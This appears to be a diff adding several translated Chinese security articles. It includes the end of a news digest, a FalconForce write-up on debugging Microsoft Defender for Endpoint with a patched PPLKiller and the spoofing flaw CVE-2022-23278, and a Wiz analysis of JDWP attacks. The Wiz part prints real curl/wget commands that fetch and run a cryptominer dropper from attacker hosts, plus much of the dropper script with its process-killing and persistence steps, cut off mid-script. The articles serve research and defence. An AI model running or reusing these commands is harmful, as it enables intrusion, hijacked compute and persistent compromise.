https://www.okta.com/newsroom/articles/okta-observes-v0-ai-tool-used-to-build-phishing-sites/
|
||||
|
||||
|
||||
2025年7月1日报道，安全研究人员观察到威胁行为体滥用Vercel创建的生成人工智能工具v0.dev构建冒充合法登录页面的钓鱼网站。研究人员成功复现了这一现象，发现钓鱼页面资源也托管在Vercel的基础设施上。Vercel已限制对已识别的钓鱼网站的访问，并研究其他钓鱼基础设施。专家建议采取强制执行防网络钓鱼身份验证，并将访问权限绑定到受信任设备。
|
||||
|
||||
|
||||
**20、Firefox出现多个恶意插件威胁加密货币安全**
|
||||
|
||||
|
||||
https://blog.koi.security/foxywallet-40-malicious-firefox-extensions-exposed-4c14419de486
|
||||
|
||||
|
||||
2025年7月2日报道，研究团队发现了一场针对Firefox浏览器的恶意活动。该活动涉及40多个恶意扩展程序，这些扩展程序伪装成知名加密货币钱包工具，目的是窃取用户钱包凭证，使用户的资产面临风险。从2025年4月开始，该活动一直处于活跃状态，且新的恶意扩展程序还在不断被上传至Firefox附加组件商店。
|
||||
|
||||
|
||||
**21、伊朗黑客“罗伯特”威胁曝光特朗普团队邮件**
|
||||
|
||||
|
||||
https://www.govinfosecurity.com/irans-robert-hack-targets-trump-tests-us-cyber-gaps-a-28887
|
||||
|
||||
|
||||
2025年7月2日报道，与伊朗有关的黑客组织“罗伯特”声称已窃取了约100GB来自特朗普核心圈子的电子邮件，涉及白宫办公厅主任苏西·威尔斯、特朗普律师林赛·哈利根、顾问罗杰·斯通以及成人电影明星斯托米·丹尼尔斯等。该组织曾于2024年美国总统大选前泄露过特朗普团队的邮件，部分邮件内容已被路透社证实。此次，黑客组织威胁要出售这些邮件，但未透露具体计划。
|
||||
|
||||
|
||||
|
||||
**法规政策**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[1、工信部印发《2025年护航新型工业化网络安全专项行动方案》](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514631&idx=2&sn=480589e67e8185d00b9b67b41d4aba87&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
《行动方案》聚焦突出重点管理、做优服务模式，以推动重点企业、重要系统、关键产品防护能力升级为核心，提出3方面、8项重点任务，推动提高工业领域网络安全保障水平，着力支撑制造业高质量发展，为实现“十五五”良好开局奠定坚实基础。
|
||||
|
||||
|
||||
[2、国家卫健委发布《关于进一步加强医疗机构电子病历信息使用管理的通知》](https://mp.weixin.qq.com/s?__biz=MzkxNjYzNjQ4NA==&mid=2247488932&idx=1&sn=d980e7bd39b48ff6203db3e3d05e6629&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2025年6月30日，国家卫生健康委会等部门联合发布《关于进一步加强医疗机构电子病历信息使用管理的通知》（以下简称《通知》），旨在通过压实医疗机构主体责任，强化监管措施，进一步保障患者医疗信息和医疗质量安全。
|
||||
|
||||
|
||||
[3、国家网信办发布《网信部门行政处罚裁量权基准适用规定》](https://mp.weixin.qq.com/s?__biz=MzkxNjYzNjQ4NA==&mid=2247488925&idx=1&sn=cf0f38981244ff50970ffa0dc6a59438&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2025年6月26日，国家网信办发布《网信部门行政处罚裁量权基准适用规定》，旨在设定行政处罚裁量权基准，规范网信部门行使行政处罚裁量权。该规定将于2025年8月1日起正式实施。
|
||||
|
||||
|
||||
[4、3项网络安全国家标准获批发布](https://mp.weixin.qq.com/s?__biz=MzA5MzE5MDAzOA==&mid=2664245177&idx=3&sn=758f43faa156800c08f6523197957d81&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
GB/T 20988—2025《网络安全技术 信息系统灾难恢复规范》，该标准确立了信息系统灾难恢复工作原则,给出了信息系统灾难恢复生命周期；GB/T 22080—2025《网络安全技术 信息安全管理体系 要求》，该标准规定了在组织环境下建立、实施、维护和持续改进信息安全管理体系的通用要求；GB/T 45909—2025《网络安全技术 数字水印技术实现指南》，该标准提供了数字水印技术的实现框架、功能、流程、水印算法选择、水印服务封装形式选择等方面的建议。
|
||||
|
||||
|
||||
[5、国家数据局正式发布数据流通交易合同示范文本](https://mp.weixin.qq.com/s?__biz=MzkxNjYzNjQ4NA==&mid=2247488953&idx=1&sn=be6efb763f1ba99c31c3fbd3393732e4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**业界活动**
|
||||
|
||||
|
||||
[1、“昆仑云标∙数聚西宁”数据标注产业供需对接会在西宁市成功举办](https://mp.weixin.qq.com/s?__biz=MzU0MDc2MzQ2Ng==&mid=2247534988&idx=1&sn=efce31af6959d3ce5cf4867e2c9dd53e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
6月25日，由青海省数据局、西宁市人民政府联合主办，国家工业信息安全发展研究中心、西宁市数据局、西宁市数据标注产业联盟承办的“昆仑云标∙数聚西宁”数据标注产业供需对接会，在西宁市成功举办。
|
||||
|
||||
|
||||
|
||||
**调查报告**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[1、Sophos 发布《2025勒索软件状况报告》：赎金腰斩 加密率六年新低](https://mp.weixin.qq.com/s?__biz=MzUyMDQ4OTkyMg==&mid=2247548778&idx=1&sn=a87a43540f474bd9444b8120a67ae593&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
报告基于第三方专家执行的独立调查，覆盖17个国家、3400名来自规模在100-5000名员工企业的IT及网络安全领导者，并且所有受访者均在过去12个月内遭遇过勒索软件攻击。
|
||||
|
||||
|
||||
[2、全球银行业遭遇复杂DDoS攻击浪潮，亚太地区成重灾区](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070437&idx=2&sn=1df700fe258190eee7c53dea02c69536&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2025年6月，金融服务信息共享与分析中心（FS-ISAC）与网络安全公司Akamai联合发布报告，揭示全球银行与金融服务行业正面临一波愈加复杂且持续的分布式拒绝服务（DDoS）攻击浪潮。报告指出，攻击者正通过多层级、多手段方式瘫痪金融服务，威胁客户可用性与运营连续性。
|
||||
|
||||
|
||||
[3、数智化安全运营报告](https://mp.weixin.qq.com/s?__biz=MzIxNDIzNTcxMg==&mid=2247508509&idx=1&sn=f87e9c3c853c956486491a5237c865fb&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
报告对符合数字中国的安全运营相关思想、技术、市场进行了整理与总结，绘制了数智化安全运营框架，组织可以根据数智化安全运营框架，结合自身数字化环境和业务特点，开展匹配自身业务发展目标的安全运营工作。
|
||||
|
||||
|
||||
[4、一图读懂《2025年护航新型工业化网络安全专项行动方案》](https://mp.weixin.qq.com/s?__biz=MzU0MDc2MzQ2Ng==&mid=2247535017&idx=2&sn=d9fda15ba60e5c7b91a2351b6c884611&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[5、一图读懂 | 国家标准GB/T 45654—2025《网络安全技术 生成式人工智能服务安全基本要求》](https://mp.weixin.qq.com/s?__biz=MzkyMjM2NDY1NA==&mid=2247489687&idx=1&sn=286aac126775781f24d56c56f7624796&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**安在有声**
|
||||
|
||||
|
||||
|
||||
[1分钟安全科普 | 重要信息的保密](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641346&idx=3&sn=389a74c0b05849a3bef35d40c78cdc88&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247637810&idx=2&sn=ec91d03b3b9d56b89bd17e92d40d0285&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[1分钟安全科普 | 个人信息保护](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641277&idx=2&sn=5235a45c30e1255fafcfdeceef6f9515&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[诸子云｜甲方 ：有哪些关于“复盘”的书籍推荐？](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247641356&idx=3&sn=61cb5e8a91533e682056505f4678c628&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247637810&idx=2&sn=ec91d03b3b9d56b89bd17e92d40d0285&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
**RECOMMEND**
|
||||
|
||||
|
||||
推荐阅读
|
||||
# ●在看 | 周报：江苏一男子破解无人机禁飞限高被刑事拘留；某物业公司工作人员非法出售个人信息被罚
|
||||
|
||||
# ●在看 | 周报：“银狐”木马新变种席卷全国；间谍冒充研究生用Word套取我国敏感数据；国内三大平台相继崩溃
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
[●在看 | 周报：北京两家公司因未履行数据安全保护义务被罚；小红书被曝开发者后门；160亿账号密码泄露引发恐慌](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247640950&idx=1&sn=b5de0e483c0e51e1b02ec1378647bb92&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
扫码加入诸子云知识星球。
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5ODgzNTExOQ==&mid=2247636140&idx=1&sn=8b53ff22bbfa15b46b0ed22fcb3a5f71&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击这里阅读原文
|
||||
|
||||
@@ -0,0 +1,235 @@
|
||||
# 如何调试Microsoft Defender for Endpoint (MDE) 发现 CVE 漏洞
|
||||
先进攻防 2025-07-05 03:11
|
||||
|
||||
说明： 本文是翻译自 FalconForce 团队的技术博客原文
|
||||
|
||||
原文地址： https://falconforce.nl/debugging-the-undebuggable-and-finding-a-cve-in-microsoft-defender-for-endpoint/
|
||||
|
||||
在 FalconForce，我们热衷于深入理解我们日常使用的工具。在蓝队工作中，我们最常使用的工具之一就是 MDE（Microsoft Defender for Endpoint，前身为 Microsoft Defender ATP）。在一次探究 MDE 如何将日志发送到 M365 云环境的过程中，我们不仅发现了一个调试受保护进程的巧妙技巧，还意外发现了一个 MDE 的漏洞。该漏洞已于 2021 年 8 月报告给微软，并被分配了编号 CVE-2022–23278。
|
||||
|
||||
这篇博客将分为三个部分：
|
||||
1. 首先，分享一些调试受保护进程（Protected Processes）的技巧和窍门。
|
||||
|
||||
1. 然后，在我们成功调试 MDE 进程后，深入探讨我们发现的具体漏洞。
|
||||
|
||||
1. 最后，快速看一下微软为修复此漏洞所做的更新。
|
||||
|
||||
**长话短说 (TL;DR)**
|
||||
> 你可以通过运行 dbgsrv.exe
|
||||
并将其 PPL (Protected Process Light) 保护级别提升至 WinTcb
|
||||
，来调试在终端上运行的 MDE 进程。利用这种方法，我们可以嗅探到 MDE 传输到云端的数据。我们发现了一个与 MDE 终端发送到 M365 云的数据缺少授权检查相关的漏洞，该漏洞允许任何人向任意 M365 租户发送欺骗性数据。
|
||||
|
||||
## 第一部分：调试受保护进程
|
||||
|
||||
为了实现我们观察 MDE 进程发送到 M365 云流量的目标，我们需要能够调试 MDE 进程，其核心进程是 MsSense.exe
|
||||
。
|
||||
|
||||
我们可以使用强大的 Process Hacker 工具来检查一个程序的保护状态。
|
||||
|
||||
|
||||
如果我们尝试将调试器附加到该进程，操作将会失败，即使我们使用具备 TrustedInstaller
|
||||
权限的 SYSTEM
|
||||
账户运行调试器也无济于事。
|
||||
|
||||
|
||||
有多种工具可以用来修改 MsSense.exe
|
||||
程序的保护属性，例如 PPLKiller。它可以通过一个易受攻击的驱动程序来操纵内核内存，从而移除正在运行进程的 PPL 保护标志。
|
||||
|
||||
使用 PPLKiller 降低保护级别是我们最初的尝试，但不幸的是，WinDbg 仍然报出相同的权限拒绝错误。我们过去有过一些 Windows 内核模式调试的经验，这种方法确实可以调试这些受保护的进程，但非常不方便，因为只要调试器触发断点，整个机器就会冻结。
|
||||
|
||||
幸运的是，我们找到了一个更好的方法：**与其降低 MsSense.exe 的保护级别，不如提升我们调试器的保护级别。**
|
||||
### 提升调试器的保护级别
|
||||
|
||||
默认情况下，PPLKiller 只允许移除 PPL 权限，但相同的机制也可以用来为一个现有进程添加这些权限。我们为 PPLKiller 贡献了一个补丁，增加了一个 /enablePPL
|
||||
选项来提升现有进程的保护级别。要让这个技巧稳定生效，关键不是直接对 WinDbg 进程操作，而是对调试服务器 dbgsrv.exe
|
||||
进程进行操作。
|
||||
|
||||
首先，我们以 SYSTEM
|
||||
账户启动 dbgsrv.exe
|
||||
进程，并让它在本地 1234
|
||||
端口（任何端口都可以）上监听。
|
||||
```
|
||||
"C:\Program Files\WindowsApps\Microsoft.WinDbg_1.2111.9001.0_neutral__8wekyb3d8bbwe\amd64\dbgsrv.exe" -t tcp:server=127.0.0.1,port=1234
|
||||
```
|
||||
|
||||
现在，使用打过补丁的 PPLKiller 版本来提升这个调试服务器的保护级别：
|
||||
```
|
||||
> tasklist | findstr dbgsrvdbgsrv.exe 4024> .\PPLKiller.exe /enablePPL 4024PPLKiller version 0.3 by @aceb0nd[+] Windows Version 2009 Found[*] Device object handle has been obtained[*] Ntoskrnl base address: FFFFF80720800000[*] PsInitialSystemProcess address: FFFF90032906D080[*] Current process address: FFFF900330580080[*] Enabling PPL protection for process.
|
||||
```
|
||||
|
||||
|
||||
在 dbgsrv.exe
|
||||
的保护级别被提升后，它就可以用来调试 MsSense.exe
|
||||
了。一旦 dbgsrv.exe
|
||||
运行起来，我们就可以用 WinDbg 连接到它。
|
||||
|
||||
|
||||
通过这个以 SYSTEM
|
||||
身份运行且提升了 PPL 保护级别的 dbgsrv.exe
|
||||
进程，我们成功附加到了 MsSense.exe
|
||||
。
|
||||
###
|
||||
### 观察 TLS 加密流量的明文
|
||||
|
||||
MsSense.exe
|
||||
与 M365 云环境之间的所有通信都通过 TLS 进行，并使用了证书固定（Certificate Pinning）。这样做是为了确保即使设备上安装了流氓 CA 证书，像 Burp 这样的中间人攻击工具也无法奏效。
|
||||
|
||||
既然我们已经将调试器附加到进程上，我们就可以在流量被加密前进行拦截。为此，我们可以在 SspiCli!EncryptMessage
|
||||
函数上下一个断点。这个函数是 TLS 协议中负责加密的部分。
|
||||
|
||||
可以使用以下命令设置断点：
|
||||
```
|
||||
> bu SspiCli!EncryptMessage
|
||||
```
|
||||
|
||||
然后我们用 g
|
||||
命令恢复进程。一旦进程执行到 EncryptMessage
|
||||
函数，调试器就会中断程序：
|
||||
```
|
||||
Breakpoint 0 hitSspiCli!EncryptMessage:00007ff8`53a91be0 4053 push rbx```EncryptMessage` 的参数在[微软的官方文档](https://learn.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-encryptmessage)中有详细说明。我们关心的是第三个参数 `pMessage`，因为它包含了消息内容。根据 Windows 的[调用约定](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170)，第三个参数通过 `r8` 寄存器传递。`r8` 寄存器包含一个指向 `SecBufferDesc` 结构的指针。`pBuffers` 元素是我们要找的，它位于偏移量 8 的位置。我们可以用以下 WinDbg 命令来查看 `pBuffers` 元素，它包含了多个 `SecBuffer`。注意，`poi` 函数在 WinDbg 中用于解引用指针。```c0:039> dq(poi(@r8+8))00000054`c4bff070 00000007`0000000d 00000235`ea69c04000000054`c4bff080 00000001`000003f9 00000235`ea69c04d00000054`c4bff090 00000006`00000010 00000235`ea69c446...
|
||||
```
|
||||
|
||||
经过一番摸索，我们发现第二个 SecBuffer
|
||||
（类型为 00000001
|
||||
）实际上包含了明文数据。我们可以这样提取它（注意，0n16*1
|
||||
可以修改为 0n16*0
|
||||
、0n16*2
|
||||
等来转储其他缓冲区）：
|
||||
```
|
||||
> db poi(poi(@r8+8)+8+0n16*1) L0n19250 4f 53 54 20 2f 4f 6e-65 43 6f 6c 6c 65 63 74 POST /OneCollect6f 72 2f 31 2e 30 20 48-54 54 50 2f 31 2e 31 0d or/1.0 HTTP/1.1.0a 43 61 63 68 65 2d 43-6f 6e 74 72 6f 6c 3a 20 .Cache-Control: 6e 6f 2d 63 61 63 68 65-0d 0a 43 6f 6e 6e 65 63 no-cache..Connec74 69 6f 6e 3a 20 4b 65-65 70 2d 41 6c 69 76 65 tion: Keep-Alive...
|
||||
```
|
||||
|
||||
POST 的请求头和请求体是通过对 EncryptMessage
|
||||
的不同调用来加密的。因此，这里只显示了请求头。如果我们想观察 POST 请求体，我们需要继续执行直到下一个断点被命中。
|
||||
|
||||
当我们查看 POST 请求体时，它看起来很奇怪：
|
||||
```
|
||||
> db poi(poi(@r8+8)+8+0n16*1)b5 5b 59 6f ea 4a 97 7d-6f a9 ff c3 55 9e ba 95 .[Yo.J.}o...U...9b 73 3c 60 02 47 ea 07-1b 0f 31 49 99 18 3c 60 .s<`.G....1I..<`...
|
||||
```
|
||||
|
||||
这看起来不像一个正常的 POST 请求体，直到我们意识到请求头中有一行 Content-Encoding: deflate
|
||||
，表明 POST 请求体被压缩了。
|
||||
|
||||
我们可以将压缩数据写入文件：
|
||||
```
|
||||
> .writemem c:\temp\request.raw poi(poi(@r8+8)+8+0n16*1) l1c42Writing 1c42 bytes....
|
||||
```
|
||||
|
||||
这个文件可以用多种方式解压，例如，使用一个简单的 Python 脚本：
|
||||
```
|
||||
import zlibimport syswith open(sys.argv[1], 'rb') as f_in, open(sys.argv[1] + '.out', 'wb') as f_out: decompressed_data = zlib.decompress(f_in.read(), -15) f_out.write(decompressed_data)
|
||||
```
|
||||
|
||||
对 request.raw
|
||||
文件运行此脚本后，我们得到的 request.raw.out
|
||||
文件终于包含了解密后的负载。事实证明，这实际上是一个 JSON 格式的数据。
|
||||
|
||||
|
||||
实际的事件数据在 JSON 中经过了 base64 编码：
|
||||
```
|
||||
"data": { "events": "rQkLAQ9HZ...snip"}
|
||||
```
|
||||
|
||||
对这串 base64 字符串进行解码，可以得到二进制格式的事件。它们似乎是使用 Microsoft Bond 序列化框架进行序列化的，这与更常用的 Protobuf 框架类似。
|
||||
|
||||
|
||||
这些就是被采集并发送到 M365 云端的真实事件。
|
||||
## 第二部分：漏洞详情
|
||||
|
||||
现在我们知道了数据是如何从我们设备上的 MDE 发送到 M365 云的，我们终于可以审视这个漏洞了。
|
||||
|
||||
要理解这个漏洞，我们必须查看所发送 JSON 的 id
|
||||
部分：
|
||||
|
||||
|
||||
原来，关于被发送事件的元数据位于 JSON 数据的 id
|
||||
部分。这其中包含了 OrgId
|
||||
（一个代表日志将被投递到的目标组织的 GUID）、MachineId
|
||||
和 ComputerDnsName
|
||||
，这些信息最终会作为事件的来源出现在 M365 门户中。
|
||||
|
||||
我们再来看看 POST 请求的头部：
|
||||
```
|
||||
POST /OneCollector/1.0 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AliveContent-Type: application/x-json-stream; charset=utf-8Content-Encoding: deflateAccept: application/jsonUser-Agent: MSDWApiKey: <removed>AuthMsaDeviceTicket: <removed>...Host: eu-v20.events.data.microsoft.com
|
||||
```
|
||||
|
||||
身份验证基于一个 ApiKey
|
||||
——事实证明它对所有 MDE 客户端都是静态和共享的——以及一个 AuthMsaDeviceTicket
|
||||
。然而，这个 ticket
|
||||
竟然是可选的，可以被替换为一个 Client-Id: NO_AUTH
|
||||
的请求头，从而完全绕过身份验证。
|
||||
|
||||
**漏洞的核心在于：系统没有进行适当的授权检查，来证明发送者有权代表特定的设备和组织发送数据。**
|
||||
这意味着任何人只要篡改 MachineId
|
||||
、OrgId
|
||||
和 ComputerDnsName
|
||||
字段，就可以代表任何组织和机器发送数据。这甚至可以跨租户工作，如果知道了目标租户的 GUID，就可以向另一个租户发送日志。这个 GUID 可以由组织中的任何用户或任何已注册到 MDE 的机器获取。
|
||||
|
||||
作为概念验证（PoC），我们从自己的租户捕获了一些事件，并将这些事件重放了 20 次到另一个我们拥有的租户，同时伪造了 MachineId
|
||||
和 ComputerDnsName
|
||||
字段。结果发现，如果一个 MachineId
|
||||
尚不存在，MDE 会使用提供的信息添加一个新的设备
|
||||
。
|
||||
|
||||
### 潜在影响
|
||||
|
||||
利用这个漏洞，攻击者在知道 OrgId
|
||||
的情况下，可以向任何 M365 环境发送任意数量的欺骗性事件。这些事件可能包括伪造的警报，从而触发虚假事件，让 SOC（安全运营中心）团队去调查，导致他们对哪些事件是真实的、哪些是被操纵的产生巨大困惑。
|
||||
## 第三部分：漏洞修复
|
||||
|
||||
2022 年 3 月 8 日，微软在“补丁星期二”发布了针对该漏洞的补丁，并在 MSRC 博客上提供了一些额外的指导。
|
||||
|
||||
该补丁要求更新 MDE 客户端，增加了反欺骗措施。可以使用 Microsoft Defender for Endpoint 客户端分析器工具来检查特定机器是否已更新并启用了反欺骗措施。
|
||||
|
||||
|
||||
除了补丁，微软还在 Microsoft 365 Defender 门户中将此漏洞添加为一个威胁，提供了一个仪表盘，显示环境中易受攻击设备的数量。
|
||||
|
||||
|
||||
还增加了一个新的警报，当针对目标环境发生此漏洞的利用尝试时会触发。该警报标题为“可疑的客户端通信”（Suspicious client communication）。我们通过运行原始的 PoC 代码成功在测试环境中触发了此警报，但它仅在我们针对一台已完全打补丁的机器的 DeviceId
|
||||
时才会触发。
|
||||
|
||||
### 修复的技术细节
|
||||
|
||||
此修复增加了一个新的机制来验证发送日志的设备。它使用一个类似 JWT 的签名令牌，该令牌通过一个新增的名为 Custom-Request-Field
|
||||
的 HTTP 头传递。
|
||||
|
||||
下图是一个从已完全打补丁的 MDE 版本的设备 Custom-Request-Field
|
||||
头中提取并解码的 JWT 令牌示例。
|
||||
|
||||
|
||||
截图显示，machineId
|
||||
和 orgId
|
||||
是这个 JWT 令牌的一部分。当它们与实际请求中的 orgId
|
||||
和 machineId
|
||||
不匹配时，这些值可用于识别欺骗行为。
|
||||
|
||||
看起来微软还实施了额外的措施，限制了代表不存在的 MachineId
|
||||
发送数据的能力。这些事件似乎被丢弃了，不再出现在 MDE 门户的日志中。
|
||||
## 时间线
|
||||
- **2021年8月17日**
|
||||
- 通过微软 MSRC 门户报告漏洞。
|
||||
|
||||
- **2021年8月20日**
|
||||
- 向微软提供包括 Python PoC 代码在内的附加信息。
|
||||
|
||||
- **2021年9月15日**
|
||||
- 微软确认漏洞。
|
||||
|
||||
- **2021年11月4日**
|
||||
- 微软团队请求在问题修复前需要更多时间，并希望推迟任何公开披露。
|
||||
|
||||
- **2021年11月20日**
|
||||
- 微软团队通知我们修复工作复杂，需要更多时间。
|
||||
|
||||
- **2022年2月7日**
|
||||
- 收到通知，CVE-2022–23278 将被分配，漏洞将在三月的“补丁星期二”进行修复。
|
||||
|
||||
- **2022年3月8日**
|
||||
- 微软发布补丁。
|
||||
|
||||
- **2022年4月1日**
|
||||
- FalconForce 发布包含完整细节的博客文章；有意延迟发布，以便各组织有足够的时间来修补漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
# 攻击者通过滥用暴露的 Java 调试线协议 (JDWP) 接口实现远程代码执行，部署挖矿
|
||||
Ots安全 2025-07-05 06:06
|
||||
|
||||
|
||||
|
||||
介绍
|
||||
|
||||
在例行监控中，Wiz 研究团队观察到一次针对我们其中一台运行 TeamCity（一款流行的 CI/CD 工具）的蜜罐服务器的攻击尝试。我们的调查确定，攻击者通过滥用暴露的 Java 调试线协议 (JDWP) 接口实现了远程代码执行，最终部署了加密货币挖矿负载并设置了多种持久化机制。
|
||||
|
||||
我们发现这次攻击很有趣，因为有以下几个关键点：
|
||||
- 快速利用
|
||||
|
||||
恶意软件，在暴露易受攻击的机器后仅几小时内就部署完毕。我们在多次尝试中都观察到了这种快速的周转。
|
||||
- 定制的 XMRig 有效负载
|
||||
|
||||
攻击者使用了具有硬编码配置的修改版本的 XMRig，从而使他们能够避免经常被防御者标记的可疑命令行参数。
|
||||
- 隐秘的加密挖掘
|
||||
|
||||
有效载荷使用采矿池代理来隐藏其加密货币钱包地址，从而阻止调查人员对其进行调查。
|
||||
|
||||
什么是 JDWP？
|
||||
|
||||
JDWP 是 Java 调试线协议 (Java Debug Wire Protocol) 的缩写，是 Java 平台的一项标准功能，旨在帮助开发者调试实时应用程序。它允许远程检查线程、内存和执行流，而无需重新启动应用程序。要启用此功能，开发者通常使用如下所示的标志启动 JVM。此设置会指示 JVM 在端口 5005 上监听调试器连接，并接受所有接口上的传入连接。
|
||||
|
||||
```
|
||||
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
|
||||
```
|
||||
|
||||
|
||||
然而，JDWP 默认不实现身份验证或访问控制，将其暴露到互联网上被视为配置错误。一旦暴露，它就会成为一个高风险的入口点，使攻击者能够完全控制正在运行的 Java 进程。在本例中，这种配置错误使攻击者能够注入并执行任意命令、建立持久性并执行恶意软件。
|
||||
|
||||
虽然大多数 Java 应用程序中默认未启用 JDWP（Java 调试线协议），但它在开发和调试环境中非常常用。许多流行的应用程序在调试模式下运行时会自动启动 JDWP 服务器，而开发人员通常不会察觉到其中的风险。如果安全措施不当或暴露在外，这可能会为远程代码执行 (RCE) 漏洞打开大门。
|
||||
|
||||
在调试模式下可以启动 JDWP 服务器的应用程序示例包括：
|
||||
- TeamCity（JetBrains开发的CI/CD服务器）
|
||||
|
||||
- Jenkins（流行的 CI 工具）
|
||||
|
||||
- Selenium Grid（分布式浏览器测试平台）
|
||||
|
||||
- Elasticsearch（基于 Java 的搜索引擎）
|
||||
|
||||
- Quarkus（云原生 Java 框架）
|
||||
|
||||
- Spring Boot（Java 框架）
|
||||
|
||||
- Apache Tomcat（开源 Web 服务器）
|
||||
|
||||
JDWP 目标
|
||||
|
||||
如前所述，我们观察到暴露的 JDWP 实例被极快地利用。在我们的测试中，部署一台暴露 JDWP 服务器的机器后，我们的传感器在短短几小时内就检测到了跨多个实例的利用尝试。这表明 JDWP 是一项高度针对性的服务。为了佐证这一点，我们使用了 GreyNoise 的基于标签的搜索功能，发现在过去 90 天内有超过 6,000 个唯一 IP 地址正在扫描 JDWP 端点。
|
||||
|
||||
|
||||
|
||||
攻击流程
|
||||
|
||||
在调查过程中，我们观察到来自不同攻击者的多次 JDWP 攻击尝试，但为了简单起见，我们决定在本篇博文中重点介绍一个事件，该事件可以作为整个攻击活动的一个很好的例子。请注意，附录中包含的攻击指标 (IoC) 适用于所有观察到的活动，而不仅仅是这起特定事件。
|
||||
|
||||
|
||||
|
||||
攻击者首先在互联网上扫描开放的 JDWP 端口。其中一次扫描到达了我们的蜜罐服务器，该服务器在 5005 端口上暴露了 JDWP。随后，攻击者发送请求，JDWP-Handshake确认接口处于活动状态并建立 JDWP 会话。JVM 响应了版本详细信息和已加载类的列表，确认 JDWP 确实已暴露并且完全可交互。
|
||||
|
||||
|
||||
|
||||
上面是 Wireshark 的屏幕截图，显示了 JDWP-Handshake 协议。
|
||||
|
||||
此后，攻击者按照结构化的顺序实现远程代码执行，可能使用了具有附加功能的jdwp-shellifier变体。他们查询 JVM 中可用的类和方法，然后找到java.lang.Runtime与其关联的getRuntime()方法exec()。
|
||||
|
||||
涉及的利用步骤如下：
|
||||
|
||||
1.创建包含系统命令的 Java 字符串，例如：
|
||||
|
||||
```
|
||||
curl -o /tmp/logservice.sh -s <https://canonicalconnect[.]com/logservice.sh>bash /tmp/logservice.sh
|
||||
```
|
||||
|
||||
|
||||
2.Runtime.getRuntime()使用调用INVOKESTATICMETHOD_SIG
|
||||
|
||||
3.将命令字符串传递给exec()使用INVOKEMETHOD_SIG
|
||||
|
||||
|
||||
|
||||
上面是Wireshark的截图，显示了包含利用命令的JDWP数据包
|
||||
|
||||
wget使用不同的命令组合（ 、等）重复这些步骤sh来下载并启动攻击负载。
|
||||
|
||||
在底层，攻击者发出了低级 JDWP 指令，包括、、CreateString和方法调用签名。它们完全通过 JDWP 协议进行操作，无需访问应用程序本身。get_all_classesget_methods
|
||||
|
||||
日志服务
|
||||
|
||||
logservice.sh是一个具有以下功能的投放器脚本：
|
||||
- 杀死竞争矿工或任何高 CPU 进程（除一小部分允许进程外，任何使用超过 60% CPU 的进程）。
|
||||
|
||||
- https[://]awarmcorner[.]world/silicon<architecture>blueprints.png放入一个来自的 XMRig 矿工 ~/.config/logrotate 并执行它。
|
||||
|
||||
- .bashrc在每个 shell 启动文件（ 、等）、rc.local、systemd 和多个 cron 作业中安装持久钩子.zshrc，确保在每次 shell 登录、重启或预定间隔时重新获取并重新执行有效负载。
|
||||
|
||||
- 退出时自行删除，几乎不留下任何痕迹。
|
||||
|
||||
```
|
||||
#!/bin/sh{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'EXEC="source <(wget -q -O - <http://185.196.8.123/logservice.sh> || curl -sL <http://185.196.8.123/logservice.sh>)"trap'rm -- "$0"' EXITif [ -z "${HOME+x}" ]; then export HOME=/tmpfimkdir -p "$HOME/.config" >/dev/null 2>&1[ ! -f "$HOME/.config/logrotate" ] && { ARCH=$(uname -m) URL="" [ "$ARCH" = "x86_64" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>" [ "$ARCH" = "aarch64" ] && URL="<https://awarmcorner.world/siliconarmblueprints.png>" [ "$ARCH" = "armv7l" ] && URL="<https://awarmcorner.world/siliconarmv7blueprints.png>" [ -z "$URL" ] && URL="<https://awarmcorner.world/silicon64blueprints.png>" { wget -q -O 